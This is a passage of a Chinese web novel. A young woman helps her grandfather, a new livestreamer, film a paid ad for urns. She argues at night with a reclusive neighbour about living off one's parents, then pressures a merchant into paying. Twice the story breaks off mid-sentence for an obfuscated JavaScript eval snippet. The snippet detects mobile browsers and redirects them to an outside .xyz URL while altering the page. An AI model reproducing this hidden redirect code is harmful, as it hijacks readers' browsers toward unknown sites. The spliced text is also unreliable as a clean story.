姥爷入戏很快,一见到对方就两眼发直,声音激动得微微发颤:“我的蔡根花宝贝啊,总算见到你了!” 常乐捂着嘴,笑得肩膀都在抖。 “呀,苏老师!”对面的女主播也十分配合,语带笑意,“好久不见!你今天穿的这身衣服,特别帅,特别年轻!” 姥爷憨笑:“哪里哪里,根花宝贝还是那么年轻,那么优雅。” 两人商业互吹了十多分钟,观看人数噌噌往上窜,点赞和打赏也络绎不绝。 结束连麦后,姥爷又回到了自己的直播间,发现右上角人数再创新高。他兴奋得满面红光,嘴角压都压不住。 这场直播结束得比平常都要晚。快十点了,姥爷还在恋恋不舍地查看粉丝的私信,挨个回复。 常乐都洗漱完毕,准备回卧室躺着,又被他喊住了—— “哎,这人是什么意思?为什么要加我微信?” 常乐摆摆手,不以为意:“变态私生饭呗,别理他。” “他说想找我商务合作,怎么合作啊?” 常乐脚步一顿,愣怔几秒后,忽然激动地冲过来,一把抢过他的手机。 “姥爷,你终于要接广告了!恭喜恭喜啊!” 姥爷也是又惊又喜:“啊?接广告是不是就能赚钱了?” “那是当然了!”常乐赶紧找到那条私信,飞快地打字:“可以,我的微信是——” 她手指一顿,抬起头,征求姥爷意见:“要不加我的吧?我跟他聊。” “行。”姥爷笑呵呵地说,“你就是我的经纪人。” 常乐输入自己的微信号,又掏出自己的手机,打开微信等待着。 仿佛过了一个世纪之久,好友申请的图标上终于出现了一个“1”。 她赶紧点击通过,然后给对方发了个笑脸。 对方的回复也很快:【苏太强老师,您好!我们公司有几款产品,想请您做推广,一条视频300,您看可以吗?】 常乐两眼放光,告诉姥爷:“一条视频300呢!” 姥爷难掩喜色,忙不迭地点头:“可以可以。你问问他,是卖什么的?” 常乐手指飞快:【可以。请问是什么产品呢?】 对方发来几张照片。 常乐点击照片放大,霎时间,整个人都僵住了。 她抬起眼,怔怔地望着姥爷。 姥爷急切地问:“什么啊?” “呃……”常乐不知该怎么开口。 她只好举起手机,给姥爷看照片。 以及底下的一行介绍: 汉白玉骨灰盒,洁白无瑕,优雅贵气,手工精雕,千年不坏,防水防潮防蚊虫…… 30. 30 “可以。”姥爷的回答出乎常乐的意料,“我接。” 常乐倒吸一口气。 虽然她以前跟珍姐调侃,说姥爷走丧葬路线,可以直播卖花圈、寿衣、纸钱什么的,但那都是口无遮拦的玩笑话。 一想到姥爷真要卖骨灰盒,她还是觉得过于惊悚,一时难以接受。 “姥爷,你要是缺钱可以跟我说啊——虽然跟我说也没啥用,”她弱弱地补了一句,“但是你不至于为了三百块钱,卖这种东西吧,多不吉利。” 姥爷满不在乎地说:“怎么就不吉利了?你看我试穿寿衣那条视频有多少人看,网友就喜欢看这个。” 常乐换了个思路,继续劝他:“喜欢看不代表会买啊。哪有人在网上买骨灰盒?不都是等人死了去殡仪馆买嘛。” “网上什么东西不能买?跟我下棋的那个李老头,有事没事就去庙里烧香拜佛,他就是在网上买的香,又粗又大质量又好,比庙门口卖的便宜多了。” “这两样东西,性质不一样。” “哎哟,你个老古董,思想怎么这么落后?” 两人争执不下,一时陷入僵局。 直到上厕所的姥姥好奇路过,加入战局,才彻底扭转形势—— “商家说会寄几个骨灰盒给我们拍视频,拍完后也不用寄回去。”姥姥眯着眼,查看常乐的微信,“也就是说,我们可以自己留着用?” 常乐:“……是这个意思。” 但这不是重点吧? “接。”姥姥果断道,“免费的,不要白不要。” 常乐气笑了:“姥姥,这种小便宜就没必要占了吧?” 姥姥振振有词:“现在一个骨灰盒多贵啊,我们单位那个杨老师,去年过世了,听说买骨灰盒花了一千多呢。人总有那一天,家里多存几个,以后总能用得上。” 常乐提醒她:“姥姥,你不是常说要避谶吗?” 姥姥不屑一顾:“嗐,避什么谶?都是封建迷信,你年纪轻轻的,怎么信这种东西?” ……这双标真是绝了。 常乐哑口无言。 二比一,常乐惨败,还被两个加起来一百七十岁的老人批评思想守旧,迟早要被时代抛弃。 既然网红本人都同意了,那她这个菜鸟经纪人也只能配合工作。 她拿起手机,回复道:【可以。有什么具体要求吗?】 等了几分钟,对方发过来几条建议,包括视频时长、台词、发布时间等等,常乐跟姥爷一一交代,姥爷点头允诺,胸有成竹:“没问题。” 敲定完姥爷的首个商务项目,常乐回到房间,躺在床上,整理纷乱的思绪。 她觉得整件事荒诞得像个恶作剧,但是归根到底,姥爷想当网红这件事,本身就挺荒诞的。 要知道,他可是个从业三十多年的老教师,永远是一副正儿八经、为人师表的形象,现在突然来了个一百八十度大转弯,真是让人措手不及。 不知道他以前的学生看到了,会作何感想。 常乐闭着眼,想着这一摊子事,迷迷糊糊地睡着了。 梦里不也踏实,她先是打开一个骨灰盒,从里面突然弹出来一个小丑,仔细一看是姥爷,高声大喊:“根花宝贝!” 接着又坐在餐桌上,桌上堆满了鸡蛋,姥姥还一个劲儿地往她碗里夹炒鸡蛋。 她拼命拒绝,满桌的鸡蛋忽然开始裂壳,从里面钻出一只只马蜂,振动翅膀,密密麻麻,朝她扑过来…… “啊啊啊——” 常乐吓醒了,在黑暗中急促地喘着气。 胸口憋闷得厉害。她打开灯,才发现胜宝不知何时趴在了她的胸口上,屁股朝上,大尾巴蒙着她的脸。 难怪梦里被马蜂袭击的感觉那么真实。 常乐坐起身,离开被窝,前胸后背凉飕飕的。 待心绪渐渐平复,她看了眼手机,才两点。窗帘的缝隙透入一缕路灯的光,窗外寂静无声。 反正睡不着,不如出去溜达溜达,看看凌晨两点的小区是什么样。 这个念头一出,常乐莫名兴奋起来。她起身穿好居家服,将头发捋在脑后,用鲨鱼夹固定。 她正要出门,回头看见胜宝,决定把她也带出去,一来作伴,二来防身。 “胜宝,出门不?” 胜宝掀起眼皮,眼神迷离涣散。 “反正你也醒了。”常乐拍拍她的屁股,语气愉悦,“走啦,张怀民,出去拉屎。” 常乐连推带赶,将胜宝赶出房间,在玄关换鞋时,顺便给她套上牵引绳。 走出楼道,寒气扑面而来,钻心入肺。没走两步,耳朵就冻麻了。 幸好居家服够暖和,她双手往兜里一插,走在树影绰绰的小路上,只能听见自己的脚步声。 这种感觉真自由。 胜宝一摇一摆地走在她旁边,从一开始不情不愿、脚步拖沓,渐渐变得兴奋雀跃,大尾巴也竖得高高的,欢快地摆动着。 这段时间,常乐每次遛狗,都会特意选择人少的时间段,比如午饭后、晚饭前。胜宝刚出月子,还不能做绝育,常乐担心她又被好色之徒盯上,只能尽量走小道,避开那些不怀好意的男狗。 不过,这个时间点还在外游荡的,除了她们俩,估计就只剩下鬼了。 所以,胜宝想去哪儿就去哪儿。 她的脚步越来越快,径直奔向小区主干道,每棵树都要凑上去嗅一嗅,挑选合适的树干尿上几滴,然后奔向东边的大草坪,在那里撒欢地奔跑起来。 等肠道充分蠕动后,她挑选了一处灌木林围成的角落,压低臀部,绷直尾巴—— “哎哎,你等会儿啊!” 常乐突然想到自己没带塑料袋,于是赶紧去旁边的垃圾桶里翻找。垃圾桶堆得高高的,她一眼就看到了一个夹缝中的空薯片袋,正好可以一用。 她拿着薯片袋往回走,突然,灌木林中蹿出一道黑影,速度飞快,笔直地向胜宝奔去。 胜宝听到动静,正要收起臀部,可惜已经来不及了。 那道黑影冲到她身后,猛地刹住脚步。 等常乐冲过去时,它已经匍匐在地,发出“吧唧吧唧”声,好像在…… 常乐:“!!!” 她简直不敢相信自己的眼睛。要不是怕夜深人静、噪声扰民,她真的想放声尖叫。 灌木林上方有一盏路灯,光线虽然昏暗,但依旧将眼前的一幕照得清清楚楚—— 一条狗,在吃胜宝的屎。 新鲜出炉的,热气腾腾的,甚至草坪上的吃完了,它还意犹未尽,仰着脑袋,伸出大舌头,去舔胜宝屁股上的残留物。 胜宝吓傻了、颤抖了、发狂了。 她猛地转过身,龇牙咧嘴,对着这条不要脸的狗狂吠起来。 这时,路灯下飘来一个人影,悄无声息,伫立在这条狗身后。 常乐仿佛看到救兵,慌忙大喊:“大姐,这是你家的——哦,不好意思,”在看清他的脸后,她赶紧改口,“大哥,这是你家的狗?” 眼前这位大哥身形瘦削,黑发垂到肩上,油腻腻地贴着头皮,戴着黑框眼镜,穿着脏兮兮的居家服。 要不是隐隐闻到他身上的馊味,常乐还真以为飘来了一只阴湿男鬼。 “嗯,我家的。”他缓缓开口,语气有些生硬,“它就好这口,你别介意啊。” 两人隔得很近,常乐看着他的脸,总觉得似曾相识。 “你住哪栋啊?”她试探地问。 “九栋。” 遥远的记忆被唤醒,常乐想起来了,他就是那个住在九栋的王老师的儿子,被林文娟当做反面典型来教育她。 不愧是资深宅男,常乐回家这么久,还是头一回见到他。 “你爸是二中的王老师吧?你叫王什么来?” “你问这个干什么?”他似乎很抗拒提自己的名字,“要找我算账吗?我家狗又没把你家狗怎么样。” 常乐笑了下,解释道:“我不是这个意思。我叫常乐,以前做核酸的时候见过你,所以有点印象。” 他迟疑着说:“你……叫我小王就行。” 常乐撇撇嘴,转开视线。 一个名字而已,这么扭扭捏捏的,跟他聊天可真费劲。 常乐本不想再搭理他,但胜宝刚刚没拉尽兴,想找个角落继续拉,而那条大耳朵狗一直跟在她身后,翘首以盼,求屎若渴。 胜宝烦不胜烦,甩又甩不掉,只得钻进常乐的两腿间,发出低低的呜叫,寻求主人的庇护。 常乐也对那条死皮赖脸狗忍无可忍:“哎,小王……哥,你能不能管管你家狗?你就这么放任它吃屎?” “管什么?”小王又轻笑一声,“吃屎已经是它最微不足道的缺点了。” 常乐深吸一口气,憋在胸口,无处释放。 “你这狗……”她话音一顿,忽然想明白了,“难怪你要在半夜三更溜它。” 因为白天当众吃屎真的很社死啊。 小王摇摇头,“我这个点儿溜它,是因为我的作息跟一般人不一样。我六点睡,两点起,一天只吃两顿。” 常乐的脑子一时没转过弯:“六点就睡了?那挺早的啊。” 小王无语地看她一眼,“是挺早的,早上六点。” 常乐:“……” 您能活到现在,真是上天有好生之德啊。 对别人的生活方式,她不好评价,但是同为养狗人,有些事实在是忍不了。 “冒昧地问一句,为什么你家狗好这口啊?你是不是饿着它了?要是连狗粮都舍不得买,那还养什么狗啊。” 此时,那条狗正低着头在草地上四处寻觅,似乎想找到其他狗残留下来的美味佳肴。 胜宝也趁机钻进了灌木林,迅速清理库存。 小王嘴角浮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696870|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹苦笑。 “呵,饿着它?我什么狗粮都试过了,狗罐头、零食、冻干也没断过,可它就爱吃屎,我能有什么办法?” 他叹了口气,抬起手,捋了捋油腻腻的黑发,给她细数大耳朵狗的恶行:“我家沙发换了三个,窗帘没有一块是完整的,电冰箱的线被它啃断了,衣柜里有它的屎尿……比格就这样,你把它当神经病就行了。” 常乐恍然大悟。 哦,是臭名昭著的比格大魔王啊,那就不奇怪了。 “可是你干嘛要养它呢?养条正常的狗不好吗?” 小王仰着头,望着黑压压的夜空,陷入了回忆:“那天,我爸把它带回来,说是路上有个大哥不要了,免费送的,还送狗窝和狗粮。我爸想让我每天遛狗,多出去走走……真是错得离谱,因为这条狗,我更不敢出门了。” “咚——” 身后传来一声闷响。 常乐转过头,看见垃圾桶翻倒在地,那条比格在垃圾堆里拱来拱去,撕咬着垃圾袋。 常乐不由得对小王生出几分同情。 果然,天下没有免费的馅饼,只有陷阱。 她沉默片刻,试图转移话题:“小王哥,我听说你在家里待了几年,感觉怎么样?” 小王移开视线,语气有些抗拒:“你问这个干嘛?” 常乐坦诚相告:“因为我也打算待在家里,当个全职女儿,就是在家照顾老人,分担家务,父母给我发工资。我觉得跟上班差不多。” “全职女儿?”小王脸上浮起一抹嘲讽,“说得好听,不就是啃老吗?” 常乐愣了下,语气有些不悦:“……你不也是这样的吗?” “对,我就是在啃老。”他大大方方承认,“因为我不想出门,不想上班,不想跟人打交道。” “那你嘲笑我干嘛?” “我是笑你把家里蹲这件事想得太美好了。刚开始你父母还会包容你,体谅你,一段时间后,就会开始抱怨你,嫌弃你,时间久了,看你一眼就烦,你们不吵架才怪。” 常乐哑口无言,心情越来越沉重。 小王继续说:“另一方面,你会越来越封闭,反应越来越迟钝,不爱出门,不爱说话,每天就是上网、睡觉、点外卖,昼伏夜出,死气沉沉,活得像下水道里的老鼠一样。” 常乐好心劝他:“别这么说自己。” “不光是我。”小王直言道,“你以后也会变成这样。” 常乐有些恼火,怼道:“我才不会!我有事干,每天忙得要死,我的家人也很包容我,我才不会变成老鼠人。” “那你为什么大晚上的不睡觉?”小王推了推眼睛,指着她,“你看,你已经开始昼夜颠倒了。” 常乐辩解道:“我平时作息很规律的,今天是特殊情况,半夜醒了睡不着,就出来溜达溜达嘛。” “这只是个开始。” “……你少吓唬我!” 小王不屑地笑了笑,这笑容让常乐更恼火了。 他质问道:“你要是真的当全职女儿当得心安理得,为什么会问我这个问题?这说明你内心深处,对这个身份并不认同。你不甘心宅在家里,又不敢出去闯,所以才会陷入纠结。” “……”常乐气急败坏,忍不住提高音量,“你懂个屁!” 小王语气嘲讽:“对,我是老鼠,我哪懂人类啊?” 胜宝听到吵架声,从灌木林里钻了出来,对着他低吠两声,以示威胁。 而那条比格,早已消失在了垃圾堆里。 小王慢慢收起笑容,对常乐说:“趁现在还没有丧失独立生活的能力,赶紧出去吧,去哪儿都行,别待在父母身边。你看看树林里,有哪棵小树能在大树底下健康长大?” 常乐根本不想搭理他。 她牵着胜宝的狗绳,转身想走,脚步却迟迟没有迈开。 她回过头,问小王:“那你呢?你想得这么通透,为什么不出去工作?” 小王站在原地,一动不动。昏黄灯光下,他的脸颊凹陷下去,像一具被吸干血气的干尸。 “因为,”他缓慢地说,“我躲在大树底下太久了,长不出根,也发不了芽,早就成了一截枯木,就算哪天,把我移植到有阳光雨露的地方,我也活不下去。” 常乐久久没有说话。 她转身往回走,将手里的空薯片袋扔进垃圾桶,嘟哝道:“白捡了。” 沿着原路返回,四周静谧无声,路灯隔得很远,大部分的路段都昏暗无光,只能靠着手机照亮脚下的路。 “我不会这样的。” 她安慰自己。 她不会成为老鼠,也不会变成枯木。 外面风吹雨打,无处容身,她只是暂时躲在家人的庇护之下,接受他们漏下来的雨水和阳光。 即便活在大树底下,她也会默默地生根发芽,总有一天,她会重新生活在阳光之下。 31. 31 之后的几天,常乐每每回想起那个失眠的夜晚,总会陷入恍惚和迷惑之中。 那个不修边幅的年轻人,和那条神经兮兮的狗,是真实存在的吗?不会是梦吧? 虽然现实生活中,她与九栋王老师的儿子并无交集,但也许在潜意识里,她始终记得他的模样,害怕步他的后尘,若有所思,才夜有所梦…… 常乐试图找身边人求证。 先是林文娟。她的记忆有些模糊:“哦,你说那个小王啊,我有大半年没见到他了,真不记得他长什么样了……啧,年纪轻轻的,可惜了……” 她又找到姥爷,试图从狗下手。 姥爷:“啥?啥比格儿?” 常乐:……怎么听着像骂人呢? “就是有种狗,耳朵很大,身上一块黑一块黄的。”她顿了下,伸手挡住嘴,压低声音,似乎羞于提起,“……它爱吃屎。” “没听说过。”姥爷摆摆手,认为她在编瞎话,“现在连流浪狗都不吃屎了。” 常乐:…… 她找谁说理去? 直到周三下午,她在菜鸟驿站碰到易诚,跟他聊起这件事,终于得到了肯定的答复。 “哦,你说鼠哥啊,我见过几次。”他笑了笑,语气轻松得像是在谈论一个老朋友,“没你说得那么神秘,他就是喜欢昼伏夜出,跟吸血鬼似的。” “鼠、哥?”常乐有一丝嫌弃,这外号也太傻了。 “他老说自己是阴沟里的老鼠,我就这么叫他了……他大名叫什么,我还真不记得了。” “你也是半夜溜达碰到他的?” “是啊,有阵子压力大,夜里老失眠,我就出门转转。有次碰到他在小区里找狗,大晚上的,他又不敢大声喊,只能拿着手电筒,跪在草丛边往里照……”易诚捂着胸口,仿佛心有余悸,“说实话,我被吓了一跳。” “后来呢?” “我就帮他一起找啊。”对那个夜晚,易诚记忆犹新,“西南角有个小水池,你记得吧?里面的水都臭了。我就是在那里找到它的。” 那天晚上,鼠哥跟易诚大吐苦水,细数他养了这条白眼狼之后遇到的糟心事。 真是闻者伤心,见者流泪。 “比如,他的狗有次吃了过期的屎,回来后全吐他枕头上了。”易诚咽了咽唾沫,脸色微微发青,“后来,我一想到那个画面,就恶心得吃不下饭。那段时间我饿瘦了好几斤。” ……真是超级无敌大冤种啊。 常乐又同情又想笑。 最后,易诚总结道:“他白天就跟哑巴一样,晚上还挺健谈的,可能是黑夜给了他安全感吧。” 常乐嘀咕道:“真是个怪人。” 轮到他们取快递了。常乐从店员手里接过一个白色泡沫盒,压得她手臂一沉,差点没端住。 “我来吧。”易诚从她怀里接过泡沫箱,掂了掂。 “嚯!”他忍不住好奇,“什么东西啊,这么重?” 常乐也没料到,几个骨灰盒能有这么沉。 如果跟易诚说实话,他会不会吓得直接把箱子甩出去? “哎,你是不是关注了我姥爷的抖音?” “对啊。”易诚惊奇地问,“你怎么知道的?我的名字是一串乱码,就是为了隐藏身份。” 常乐挑挑眉,表情笃定,“他每次直播你都在,还老给他送小心心,我就猜到了肯定是身边的熟人。” 易诚不好意思地笑笑。 常乐冲他怀里的泡沫箱抬了抬下巴,“这里面是他要推销的产品,等过几天,视频发出来,你就知道了。” “哇,他还接广告了?厉害厉害。” 易诚的包裹是一袋防撞垫,虽然体型硕大,但轻飘飘的。常乐毫不费力地将它扛在肩头。 两人朝小区大门走去。 易诚端着泡沫箱,走得很小心,生怕把姥爷的财神爷给碰碎了。 “对了,我这周末就要开班了。”经过一片儿童活动区时,易诚突然开口,“周末是最忙的时间,以后就不能陪你看脱口秀了。” 常乐肩上的大包裹一甩,回过头,瞥他一眼。 “谁要你陪了?再说了,我也不是很喜欢看,那两次是受人之托。” 易诚亦步亦趋地跟在她身后,安静片刻,低声说:“我的意思是,你要是想出去玩又找不到伴儿,我周一到周五的白天基本都有空。” 常乐低下头,嘴角扬起一抹笑。 “行,我会考虑的。”顿了顿,她又回头看他,恢复一本正经的表情,“不过啊,我平时也挺忙的,家里一堆事儿等着我处理呢。” 易诚咧开嘴角,粲然一笑。 “我知道,你是万能的全职女儿嘛。” 沉甸甸的泡沫箱终于搬到了茶几上,易诚跟姥姥姥爷打了个招呼,就跟着常乐进了卧室,去探望小狗。 小狗们长得圆滚滚的,小短腿已经能跑能跳了,精力异常旺盛,充满了好奇心,喜欢满屋子乱钻。常乐每次出门回来,都得四处找狗。 一只正窝在枕头上睡觉,一只躲在窗帘后面,一只不知怎么钻进了抽屉里,还有一只,愣是翻遍全屋也找不到。 易诚抱起抽屉里的那只,摸着它肉肉的脑袋,问常乐:“该打疫苗了吧?” 常乐跪在地上,用笤帚在床底下拨来拨去,弄得灰头土脸的,还是一无所获。 她叹了口气,说:“六周打第一针,再等几天吧。” “行,到时候一起去。” 易诚将小狗放回狗窝,起身走到墙角的落地挂衣架旁,上面挂着常乐的居家服。 “在这儿呢。”他指着居家服的口袋,一个圆滚滚的小脑袋从里头钻了出来,“藏得真好。” 常乐腾地一下从地上弹起,急声大喊:“哎别动——” 可惜,还是迟了一步。易诚已经取下了居家服,一件粉色内衣从挂衣架上掉下来,落在易诚的棉拖鞋上。 四目相对,鸦雀无声。 空气中飘着一丝尴尬的气息。 常乐眯起眼,语气凉飕飕的:“进女生房间别乱动东西,这个道理不懂吗?” 易诚视线躲闪,不敢看她,更不敢看地上那一抹粉红。手上的居家服也不知该往哪儿搁。 呆滞几秒后,他将居家服挂回衣架上,又弯下腰,准备捡起内衣。 常乐大吼一声:“别动!我来!” 她一个箭步冲过来,捡起内衣,嗖地一下甩进了旁边的衣柜里。 “对不起啊……”易诚嗫嚅着,脸红得像灌了一瓶白酒。 “哎呀,走走走。”常乐不耐烦地摆摆手,把他赶出了卧室。 她关上门,从衣柜里捡起那件内衣,提到鼻子底下闻了闻。 味道还行,没馊。颜色也挺正常,没有残留可疑的污渍。 她又将内衣扔进衣柜里,从居家服的口袋里掏出那只始作俑者小狗,检查下身,是只公狗。 “果然,”常乐总结道,“男性就是万恶之源。” 有的嘴贱,有的手欠,还有的,把世界搅得天翻地覆后,还一脸无辜地吐着舌头,企图萌混过关。 -- 等易诚走后,常乐才走出卧室,迫不及待地拆开泡沫箱,从里面端出三个骨灰盒。 第一个是琉璃材质的白色瓮罐,跟青皮椰子差不多大;第二个是黑檀木材质的长方体,外观平平无奇,跟市面上常见的骨灰盒差不多;第三个是陶瓷材质的粉色小方盒,盒身镶嵌着一圈水钻,亮闪闪的,盒盖上还嵌着一个水晶蝴蝶结。 常乐对第三个骨灰盒一见钟情。 “哇!这个留给我吧!” 姥姥“啧”了一声,呵斥道:“别瞎说!你还早着呢。” 常乐笑嘻嘻地说:“有备无患嘛,正好也给我的后人省点钱。” 箱子里还有几张宣传单,姥爷戴上老花镜,一字一句地研读每款骨灰盒的介绍词: “……一体成型,圆润饱满,如脂如玉,千年不腐……” “乐儿啊,”他摘下眼镜,“你写个文案,把这三款产品的介绍词串起来。” 常乐从他手里接过宣传单,爽快地答应:“行啊。” 谁让她是万能的呢? 晚上,常乐把自己锁在房间,研究每款骨灰盒的卖点。 白色瓮罐,优雅圣洁;粉色瓷盒,少女心满满;而那个黑檀木盒,常乐意外地发现,它居然是个榫卯结构的机关盒。 一开始,她怎么掰都打不开,直到她找商家要来视频教程,照着一步一步做,才终于打开盒子。 常乐长长地吐出一口气,忍不住吐槽:搞这么复杂,是怕有人偷骨灰拿去和面吗? 真是多此一举。 常乐忙活了一晚上,第二天一早,她打着哈欠,交出一摞稿纸。 姥爷坐在沙发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703661|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,戴着老花镜,一张张翻阅下来,对她的效率表示满意。 今天天气不错,他们决定在户外拍摄。 常乐带着姥爷在小区里转了一圈,终于找到一条偏僻安静的小路。两旁的桂花树在冬天依旧是一身青翠,枝叶间漏下斑驳的阳光,景色正好,光线适宜。 姥爷整理了一下衣领,对着镜头,露出慈祥的笑容。 常乐站在三脚架后,举起第一张稿纸。 姥爷用标准的普通话念道:“生与死,是人生庄重的课题。对这个课题,有人抵触,有人调侃,有人觉得自己还年轻,死亡离自己还很遥远。” 姥爷话音一顿,常乐急忙换第二张稿纸。 “关注我的朋友们都知道,我今年86了,已经不可避免地要走向死亡这座大山。所以,我为自己挑选了这三款骨灰盒,请大家帮我看看,哪一款最适合我呢?” 常乐飞快地放下稿纸,从箱子里掏出白色瓮罐,递给姥爷。 姥爷双手端着瓮罐,体态端庄,笑容依旧。 “第一款,是白琉璃材质。大家可以看到,它的形状十分圆润饱满,色泽光洁莹亮,干净剔透,象征着生命的神圣与纯净……” 姥爷的话音一停,常乐就飞快地换稿纸,两人的配合十分默契。 几分钟后,第一段顺利拍完。 常乐又从箱子里端出那个粉色小盒子。 “咦,怎么不先拍那个?”姥爷拧开保温杯,疑惑地问。 箱子里还剩下那个黑檀木机关盒。 “那个啊……”常乐面露难色,“那个比较复杂,最后拍吧。” 姥爷喝了口热茶,润了润嗓,从她手里接过粉色骨灰盒。 “第二款,是陶瓷材质。它的外形方正,颜色清新可爱,在设计上更是藏着许多小巧思。比如盒盖上这枚水晶蝴蝶结,转动一圈,就可以播放音乐,我可以把自己最喜欢的曲子录进去,也可以录一段自己说的话。以后,我的家人们想我了,随时可以听到我的声音,仿佛我从未离去……” 第二段也顺利拍完。 轮到第三款骨灰盒了。常乐把姥爷带到附近的石桌旁,将骨灰盒摆在他面前。 “姥爷,这款骨灰盒最大的卖点是,它很难打开,也很难关上。”常乐说完这话,自己都觉得荒唐,忍不住笑了,“所以,你得先学着怎么打开它。” 姥爷半信半疑地看着她。 “一个盒子而已,能有多复杂?” “你试试呗。” 姥爷端详起桌上的盒子。盒面光滑,线条流畅,没有任何的装饰。盒盖被分割成了三块,左右各是个小长方形,中间是个正方形。 姥爷往上掰盒盖,掰不开;往左右挪,挪不动。 他拿起盒子,研究了一番后,决定从盒盖上的几个小块下手,可是掰来掰去,依旧纹丝不动。 “这什么玩意儿……”他嘟哝道,“真的能打开吗?” 常乐坐在他旁边,给他演示:“应该这样。” 她先移动盒盖右边的小长方形,挪开一条小缝,然后将中间的正方形挪到右边,再撬开左边的小长方形,然后再…… “咦,怎么弄来着?”她也忘了。 只好打开手机,重看一遍商家发的视频。 最后,两人费了九牛二虎之力,终于将盒子打开。 姥爷和常乐对视一眼,从彼此的脸上看到了深深的无语。 “行吧,开拍。” 姥爷回到镜头前,端起这个骨灰盒,照着常乐写的台词念道:“第三款,精选天然优质黑檀木,采用了中国古代的榫卯工艺……” 台词很快念完,到了演示环节。 姥爷一边回忆刚才的操作,一边挪动盒盖,先右边,再中间,再左边,然后…… 然后怎么弄来着? 他抬起头,一脸茫然地看向常乐。 常乐赶紧上前,小声指导:“再把这个小方块掰上来。” “哦哦。”姥爷急忙掰开中间的方块,接着,又是一脸困惑。 “然后呢?” “然后把左边的长方形往下摁。” 姥爷又照做,“然后呢?” 常乐一巴掌捂住自己的脸。 这么离谱的设计,真的能卖出去吗? 亲人都烧成灰了,就等着装盒下葬,你还傻不愣登地抱着个盒子左挪右挪,上掰下摁,这像话吗? 32. 32 由于姥爷怎么都学不会,并且情绪逐渐失控,常乐决定亲自出马,当他的手替。 她坐在石凳上,姥爷站在她身后,高举着手机,对准桌上的骨灰盒。 为了让操作更加流畅,常乐开始前,又看了一遍教程,并在心中反复推演。 即使这样,两人还是拍了五次才成功。 “咔哒”一声,盒盖终于打开,盒底用铜钱镶嵌成北斗七星的形状,并用隶书刻着八个字:“七星引路,福泽后人。” 不得不说,这个骨灰盒设计得还是挺用心的,尤其是在防盗方面。 不过常乐始终想不明白,除了古早虐文里的变态男主,还有谁会对别人的骨灰这么有占有欲。 终于可以收工了。一老一少扛着设备、抱着骨灰盒沿原路返回,脸上挂着打工人深深的疲惫。 下午,常乐就在家剪视频、配字幕、加上背景音乐,最后合成一段五分钟的视频,发送给金主。 金主大人表示满意,爽快地付了一百块的定金,又说:【亲,尾款要等到视频发布后再给哦。】 常乐挠挠头,翻看之前的聊天记录。 怎么跟说好的不一样呢?难道还怕她携骨灰盒潜逃? 虽然有些许不满,常乐还是依照约定,在晚上七点整,伴随着《新闻联播》的背景声,用姥爷的手机发布了视频,并在底下附上购物链接。 她把视频转发给金主,只收到了一句:【好的。辛苦啦!】 然后呢? 常乐:【可以付尾款了吧?】 对方:【亲,公司要看视频推广的效果哦,卖出去一单,给你们提成20。只要超过十单,就可以支付尾款了哦。】 常乐气得拍桌子,大骂:“我日.你大爷!” 旁边的姥爷吓了一跳,板起脸来教训她:“女孩子可不能乱说脏话啊,要注意个人素质。” 见常乐脸色铁青,他又问:“怎么了?是不是人家对视频不满意?不满意我们就重做嘛,没啥大不了的。” “没事没事。”常乐站起身,故作镇定地安慰他,“我来搞定。” 她回到房间,关上门,对着空气恶狠狠地打了一套王八拳。 奸商! 300块,要给你做推广,还要保证销量?敢情你是想空手套白狼啊? 常乐实在咽不下这口气,掏出手机,暴躁地打字:【马上打钱!否则我立刻删除视频!还要发视频曝光你!】 对方慢悠悠地回复:【亲,不要那么激动嘛,又不是不给钱。】 常乐:【那你倒是给啊!】 对方:【公司付款也是要走流程的,最快也得明天。】 常乐:【不行,就现在!你先给我垫付了,明天再走流程报销。】 对方:【亲,你这种态度,我们以后还怎么合作?】 常乐冷笑一声,回复:【没有下次了。】 对方发了个双手摊开的表情包,迟迟没有下文。 常乐只觉得胸闷气短。她攥着手机,在房间里转来转去,喘气声大得像头水牛。 气死了!她辛苦写了一晚上的文案,拍了一上午的视频,又花了一下午做后期,好不容易完工了,却给她来这么一出? 200块都舍不得给,她的劳动就这么不值钱吗?前公司跑路拖欠她工资,奸商想白嫖她的劳动成果,难道打工人就是天生被骗、被欺负、被压榨的命吗? 常乐胸中腾起一团怒火。 不行,她早已不是职场中那个忍气吞声的牛马了,她是个人,一个铁骨铮铮、且有勇有谋的人! 她一屁股坐在床上,点开姥爷的视频,进入购买链接,一口气买了十个骨灰盒,花了整整2800块。 她把购买截图发给奸商。 【现在可以付款了吧?】 对方:【???这是你自己买的?】 常乐:【是啊,我给你全家买的。】 对方:【我操.你大爷!】 常乐:【亲,我看了你朋友圈的照片,还是个中年尤物呢,我替我大爷谢谢你啦。辛苦你的小钢针,给他的菊花松松土。】 对方正在输入中。 常乐都能想象到他气急败坏的样子,但她不想给他发泄的机会。 她飞快地打字:【现在销量已经超过10单了,赶紧打钱,不然我就报警!】 对方持续输入中。 常乐打字更快:【我还会号召身边所有人,给你家店打一星、写差评、买完就退。我顶多出几块钱运费,你积压一堆库存卖不出去,就等着哭去吧!】 对方沉默了,输入框迟迟没有动静。 常乐继续放狠话:【你装死也没用,治你的方法多得是!】 僵持许久,对方终于屈服,给常乐转了200。 他发来一段语音,语气悻悻的:“行了行了,不就是两百块钱吗?多大点事,至于吗?做生意的,别伤了和气。” 